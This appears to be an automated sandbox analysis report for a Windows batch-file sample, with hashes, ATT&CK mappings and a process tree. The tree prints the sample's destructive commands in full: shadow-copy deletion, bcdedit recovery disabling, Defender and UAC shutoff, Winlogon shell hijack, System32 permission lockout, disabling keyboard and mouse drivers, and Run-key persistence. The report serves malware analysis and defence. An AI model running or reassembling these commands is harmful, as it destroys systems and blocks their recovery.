75d835112574e3e362d9bf8b5840773e90056372734def6d8a66a2f24e11e7bc

Analysis

max time kernel
9s
max time network
6s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/06/2026, 16:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
1.bat
Size 4KB
Sample260626-tkglwsdt2r
SHA256 75d835112574e3e362d9bf8b5840773e90056372734def6d8a66a2f24e11e7bc
MD5 6b23f447d03e3db0a7c87de95098e09a
SHA1 83f91529daf2876d944e88749b1550ca87838450
SHA512 8d53e0b5820fca0a5d00221d501402d5d715eab84db86ee4ba97f6785e2c4912cfbae5a776be67ba012757eee9fcaf35b81a6691fc7442c9779811491c0f2fda
SSDEEP 96:pQI8n84jFACyijZe8kV2U998h8hiRuoW5g3Uh:pQIi84bkQKgWa3Uh
TLSH
T1AC91AC207A128362D6A1B520D44F6913F7BBF3CB2850FFB136573051A87B189CA7D6DA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4120	bcdedit.exe
5688	bcdedit.exe
708	bcdedit.exe
5684	bcdedit.exe
540	bcdedit.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5016	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2632	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\backdoor_svc.exe	cmd.exe
File created	C:\Windows\System32\backdoor_svc.bat	cmd.exe
File opened for modification	C:\Windows\System32\backdoor_svc.bat	cmd.exe
File created	C:\Windows\System32\backdoor_svc.exe	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3196	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3148	taskkill.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeBackupPrivilege	1980	vssvc.exe
Token: SeRestorePrivilege	1980	vssvc.exe
Token: SeAuditPrivilege	1980	vssvc.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1920 wrote to memory of 2844	1920	cmd.exe	90
PID 1920 wrote to memory of 1504	1920	cmd.exe	91
PID 1920 wrote to memory of 5204	1920	cmd.exe	92
PID 1920 wrote to memory of 4764	1920	cmd.exe	93
PID 1920 wrote to memory of 2192	1920	cmd.exe	94
PID 1920 wrote to memory of 4476	1920	cmd.exe	95
PID 1920 wrote to memory of 5412	1920	cmd.exe	96
PID 1920 wrote to memory of 3196	1920	cmd.exe	97
PID 1920 wrote to memory of 4120	1920	cmd.exe	100
PID 1920 wrote to memory of 5688	1920	cmd.exe	101
PID 1920 wrote to memory of 708	1920	cmd.exe	102
PID 1920 wrote to memory of 5684	1920	cmd.exe	103
PID 1920 wrote to memory of 540	1920	cmd.exe	104

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:2844
- C:\Windows\system32\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\msg.vbs"
  2⤵
  PID:1504
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispCPL /t REG_DWORD /d 1 /f
  2⤵
  PID:5204
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
  2⤵
  PID:4764
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDevMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2192
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network" /v NoNetSetup /t REG_DWORD /d 1 /f
  2⤵
  PID:4476
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
  2⤵
  PID:5412
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /for=c: /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3196
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4120
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5688
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:708
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5684
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:540
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4664
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:4956
- C:\Windows\system32\reg.exe
  reg add "HKCR\.exe" /ve /t REG_SZ /d "txtfile" /f
  2⤵
  PID:1736
- C:\Windows\system32\reg.exe
  reg add "HKCR\.bat" /ve /t REG_SZ /d "txtfile" /f
  2⤵
  PID:2184
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:5916
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:3976
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "cmd.exe" /f
  2⤵
  PID:2424
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "cmd.exe," /f
  2⤵
  PID:4144
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1.bat" /f
  2⤵
  PID:4356
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\1.bat" /f
  2⤵
  PID:3692
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Cleanup" /t REG_SZ /d "cmd.exe /c del /q /f C:\Users\Admin\AppData\Local\Temp\1.bat" /f
  2⤵
  PID:1616
- C:\Windows\system32\reg.exe
  reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
  2⤵
  PID:5452
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
  2⤵
  PID:4116
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies" /v WriteProtect /t REG_DWORD /d 1 /f
  2⤵
  PID:5980
- C:\Windows\system32\powercfg.exe
  powercfg -h off
  2⤵
  - Power Settings
  PID:2632
- C:\Windows\system32\fsutil.exe
  fsutil behavior set disablelastaccess 1
  2⤵
  PID:1888
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\System32 /inheritance:r /remove "Everyone" "Users" "Authenticated Users" /deny Everyone:(OI)(CI)F
  2⤵
  - Modifies file permissions
  PID:5016
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  2⤵
  PID:2748
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  PID:4668
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  PID:3708
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:5088
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:3792
- C:\Windows\system32\net.exe
  net user Administrator 1234567890ABCDEF /active:yes
  2⤵
  PID:6060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Administrator 1234567890ABCDEF /active:yes
    3⤵
    PID:260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\f.bat"
  2⤵
  PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\b.bat"
  2⤵
  PID:4788
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2832
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2548
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3772
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5328
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4252
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:1616
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:952
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:328
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3280
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2880
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2988
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:4472
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:900
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:300
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3448
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:4616
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5888
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:3380
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3344
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5432
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5772
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:1396
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3564
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:3036
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4580
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:308
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1560
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:1332
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6008
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:4356
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3372
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:4300
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1692
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5000
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4404
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:4968
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3600
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:1580
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3884
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:3328
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4800
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:3792
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3756
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2824
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3536
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2668
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4228
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5204
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4556
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5580
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3668
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:320
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2700
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2112
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3416
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:3924
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:924
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2020
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:692
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5752
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3744
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:3688
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1804
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2192
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1240
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:3404
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2400
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2688
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:672
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:2748
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1064
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:1504
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:904
- C:\Windows\system32\taskkill.exe
  taskkill /f /fi "pid ne 0"
  2⤵
  - Kills process with taskkill
  PID:3148

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1980

C:\Windows\System32\cmd.exe
cmd.exe
1⤵
PID:4500

C:\Windows\system32\cacls.exe
"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
1⤵
PID:4912

C:\Windows\System32\cscript.exe
cscript //nologo "C:\Users\Admin\AppData\Local\Temp\msg.vbs"
1⤵
PID:1568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

b.bat

Path C:\Users\Admin\AppData\Local\Temp\b.bat
Size 31B
SHA256 5ca015a86f546893680dfbe34d6a785a836b0d4a51e690435afc2b101b219af9
MD5 db1bcbc79a6b9826eb1be3c6d9843b01
SHA1 1392776b6b340bde91bd507654fc5b404be00f46
SHA512 72fdc4ba40b9fbe589ff0ee4a3e3729144cefdfa104a95cd4567151ea09fc900cac170fe9abc76ed467e6bf0fbaefa973474cb317d96e6e34396aaf657c637df
MD5 SHA1 SHA512

Submit Download

f.bat

Path C:\Users\Admin\AppData\Local\Temp\f.bat
Size 54B
SHA256 c2bda2a9eaad2cd6b6c44d7cf56d9846e0c9074547df2b5758ec2655a6746be2
MD5 6979216b7e8f8869a0fc520baff121f5
SHA1 6ed2f5d7c667a3f111dc40e6391a3143de791a88
SHA512 0727d87ddbfcec95d7f5115576ec1a7593a978500d3d3fce6f95957f41bdeb705066c1bacca3a7b950d0fbc1e2663586ce0023808d34b318772ce1d96b692514
TLSH
T12A9002902A8434A2A46905644267340C39E8902D054599D0A90300B66694881A4C01D1
MD5 SHA1 SHA512 TLSH

Submit Download

msg.vbs

Path C:\Users\Admin\AppData\Local\Temp\msg.vbs
Size 132B
SHA256 6eb6a1b6392a29ad008d0f914a29b6f62c8b8d42c4e8be326aa8a73bc295b06c
MD5 6cd568aac81c50333286aa3887da33ab
SHA1 595e374e53b6ad5c7097517974a8dcb91031d706
SHA512 293fc581a59eb71e7e4657abb6ca3815a3a44da5ea5da239da365aedba719b37bd01e367552128efe528105b5f5dada55d6b343dcb76f8b8c3c18dbf8a9c41ee
TLSH
T1BAC02B69054572FC0004A00D00847C08ECA45CFD0F1D92240F454B60F0B4204C13A06D
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads